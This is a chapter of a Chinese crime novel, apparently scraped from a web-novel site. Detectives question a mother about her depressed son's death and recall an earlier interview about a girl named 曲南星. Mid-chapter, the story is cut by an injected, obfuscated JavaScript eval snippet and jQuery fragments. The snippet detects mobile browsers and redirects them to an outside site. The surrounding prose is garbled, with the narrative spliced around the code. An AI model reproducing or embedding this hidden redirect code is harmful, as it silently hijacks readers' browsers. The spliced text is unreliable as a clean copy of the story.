31.她叫曲南星。

作品:《少年犯

    李成植回到问询室,谈话仍在继续。


    他向宋平盛打了个手势,表明通话结果没有问题,后者会意地点了点头,拿出一个鼓鼓囊囊的证物袋,递到刘蔚母亲眼前。


    袋子里是一把常见的裁纸刀,塑料外壳和推拉式刀片构造,刀刃伸出约五厘米,前端沾有大量血迹。


    一看到这把刀,刘蔚母亲发出了野兽般的痛苦哀嚎,接着掩面大哭起来。


    “抱歉女士。”


    宋平盛示意旁边的年轻刑警去给她添点茶水,等哭声渐渐平息后,才接着问:“这把刀是您家里的吗?”


    “是的。”刘蔚母亲抽噎着答道。


    “平时放在什么地方?”


    “我卧室的抽屉,当裁纸刀用。”


    “刘蔚自己有刀具吗,比如美工刀,刮胡刀这种?”


    “没有,他都那样了,我怎么可能把刀放在他身边呢。”


    “厨房里肯定也有刀具,对吧?”李成植忽然开口。


    刘蔚母亲头也没抬,嘶声答道:“那当然。”


    “有什么问题吗?”宋平盛看向他。


    “啊,没什么,我就是有点奇怪,这把刀放在卧室的哪个抽屉里,刘蔚知道吗?”


    “应该……不知道吧。”刘蔚母亲说。


    “也就是说,他对厨房肯定比对您的卧室更了解,那么按照常理推断,应该优先选择去厨房拿刀,为什么会特地跑到您的卧室抽屉里去找呢?”


    “我……我不知道。”刘蔚母亲痛苦地抱住了头。


    她妹妹帮着回答道:“警察同志,您别问了,抑郁症就是这样,做的事情是没办法用常理和逻辑解释的。”


    李成植点了点头,不再追问。


    宋平盛:“您昨天的行程,方便跟我们说一下吗?”


    “可以。”刘蔚母亲深吸一口气,像是在整理思绪,过了好一会才说道:“昨天上午,我在家里烧好饭后,就出门去打工,大概是……八点钟左右。”


    “一整天都在外面吗?”


    “是的,为了还清债务,我打了两份工,上午在链家做房产销售,下午去保洁公司接零工。”


    可怜的母亲,李成植心想,为了孩子辛苦操持了这么多年,却换来这种结果,恐怕任谁都不能接受。


    “您离开家的时候,刘蔚已经去上学了吗?”


    “是的,他吃完早饭就坐校车去上学了,校车每天七点十分会经过我们家小区门口的公交站,如果错过就只能打车或者坐公交了,所以小蔚一般会提前个五分钟出门。”


    “原来如此。他出门的时候,有没有表现得情绪低落,或者看起来和平时不太一样?”


    “……我觉得没有,他还跟我打了招呼,说晚上想去便利店买个饭团回来吃。”


    宋平盛笔速飞快地做着记录,抬起头继续问道:“您妹妹说,您昨天晚上由于工作原因没能回家,是怎么事呢?”


    “保洁公司的活都是组长临时安排的,昨天下午我接到通知,说有个大单子,客户准备在家里举办大型宴会,工时从当天晚宴开始,到第二天中午宴会结束,打扫完再走。客户需要两个保洁员,组长安排我跟另一名同事一起去。”


    “当天晚上你们住在哪?”


    “客户家里,他们家是大别墅,有专门的保姆房,在平湖区的驸马花园。”


    这个小区,李成植也略有耳闻,是榆州近年来数一数二的超级豪宅。


    “也就是说,从昨天晚上到今天早上您接到电话为止,都是跟您那位同事待在一起的,是么?”


    “对。”


    “不好意思,可以麻烦把那个同事的名字告诉我们吗?”


    刘蔚母亲报出了一个姓名,但这引起了她妹妹的不满,“什么意思?怎么跟调查嫌疑犯似的?你们是在怀疑我姐姐吗?”


    “没有没有。”宋平盛连连摆手,“死者家属的行程信息,是我们案件调查的必要流程,还请您谅解。”


    很明显,“死者”这个词刺激到了对方。


    刘蔚母亲的眼睛立刻涨得通红,眼泪像打开了水龙头一样向外喷涌,伴随着哭声:“如果我不接这个单子就好了……如果我昨天没出门,而是留在家里,陪着小蔚,说不定他就不会……”


    她的哭声越发歇斯底里,其他警员也被吸引了过来,在问询室门口,通过狭小的玻璃窗口向里面看。


    李成植知道,根据经验,现在大概问不出什么有用信息了,便给宋平盛打了个手势,示意自己准备走了。


    “孩子父亲下午过来,如果有什么重要信息的话,拜托给我打个电话。”


    宋平盛:“没问题。”


    “还有保险起见,最好再检查一下死者的手机。”李成植叮嘱。


    离开长虹区分局后,李成植站在路边的梧桐树下,没急着走,而是从口袋摸出一根香烟,叼在嘴里用打火机点着。他深深吸了一口,把烟雾吹向背朝人行道的方向。


    就在刚刚,他想起那个处方单令人眼熟的原因了:


    榆州市第五人民医院,是曲南星姨妈最近工作的地点。


    虽然巧的令人在意,不过也不能说明什么,榆州毕竟是个四线小城市,大街上随便转个弯都能遇到熟人。


    比起这件事,更值得他仔细思考的,是上次见面时,跟刘蔚的谈话内容。


    在一个多月前,十月二十六日,也就是金振宇死后的一周左右,他根据档案信息,找到了129案件的第三位当事人,刘蔚,目前的住址,并亲自登门拜访。


    他此行的目的有两个。


    第一,告知周婧和金振宇已经死亡的事实,因其曾作为同一桩案件的当事人,需要排除相关性,从而调查其不在场证明。


    刘蔚的不在场证明很完美,案发当天他和母亲一起留宿乡下的外公家,直到第二天早晨才回来,有多名人证。


    李成植压根没有怀疑过他,其实打个电话验证就行,之所以特地跑来,则是出于第二个目的:


    “你现在,应该还在上学吧?我看到餐桌旁边有书包。”确认完不在场证明后,他换上了一副闲聊的口吻,这样问道。


    对方点了点头,沉默不语。


    李成植


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040776|192971||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    看出这个少年性格内向。但那个时候,他没想到这是抑郁症的表现之一。


    “是大二,还是大一?”


    刘蔚的脸倏然涨的通红,他左右张望似乎是在寻找求助对象,但他妈因为李成植的请求,没有同时在场。


    一番视线搜索过后,他放弃了,头垂得更低,用蚊子一样的声音嗫嚅道:“高二……”


    “高二?”


    李成植愣了愣,根据年龄推算,好像不太对。


    也许是家里出了什么变故,涉及到隐私,他就没再追问。


    “高中很辛苦啊,但是考上大学之后,就会好起来的。在哪里上?”


    “振德高中。”


    “哦,那很不错嘛。”


    这完全是出于客气。


    振德是榆州市一所二流高中,跟榆州中学和榆州第一中学这两所重点相差甚远,学生水平良莠不齐,大部分都在二本三本边缘晃悠,少数优等生能考上一本。


    “最近一段时间,你有没有见过这个人?不管是在学校,还是在家附近?”


    终于切入正题,李成植将手伸进上衣口袋,掏出了一张照片。


    照片里,穿着高中校服的女生向镜头露出微笑,白皙的脸庞上有一双杏仁似的大眼睛。李成植将照片递给刘蔚。


    刘蔚迟疑着接过来,凑近看了大约五秒钟,摇摇头:“没见过。”


    李成植不得不再次提醒:


    “她叫曲南星。”


    听到这话,刘蔚脸上的血色瞬间消失,嘴巴失控般张得老大。


    很明显,他依然记得这个名字。


    时隔近五年,对于成年人来说,外貌的变化并不会很大,但对于小学生则恰恰相反。就是考虑到这一点,李成植才特意带来了照片。


    “所以,麻烦再确认一下,你最近见过她吗?”


    刘蔚再次拿起照片,这次他的表情完全变了,手指也在微微发抖。


    “没有。”几秒钟后,他还是摇头。


    “好吧。”李成植接过照片。


    “她……怎么了?为什么这么问?”


    “没什么,只是想确认一下。”


    “难道……”刘蔚睁大了眼睛,“金振宇和周婧跟她有关?人是她杀的?她来找他们报仇了?”


    李成植无奈地笑了。每一个被警察询问过的人都会变得疑神疑鬼,在他漫长的职业生涯里从无例外。


    “不是的,嗯,你可以理解成,按照查案流程需要有这么个问询步骤,所以不用放在心上。”


    “哦。”刘蔚垂下了眼。


    李成植向他告辞,随即朝玄关走去。当他的手碰到门把时,身后忽然传来少年的声音:“她考上榆中了,运气真好。”


    “嗯?”李成植回过头。


    “那个校服……算了。”


    李成植:“什么?”


    少年偏头躲开他的视线,低声嘟哝道,“如果当时……我现在应该也在榆中吧……”


    李成植眯起了眼睛。直觉告诉他,刘蔚没说完的那半句话是:“如果当时林鸿胁迫的人不是我”。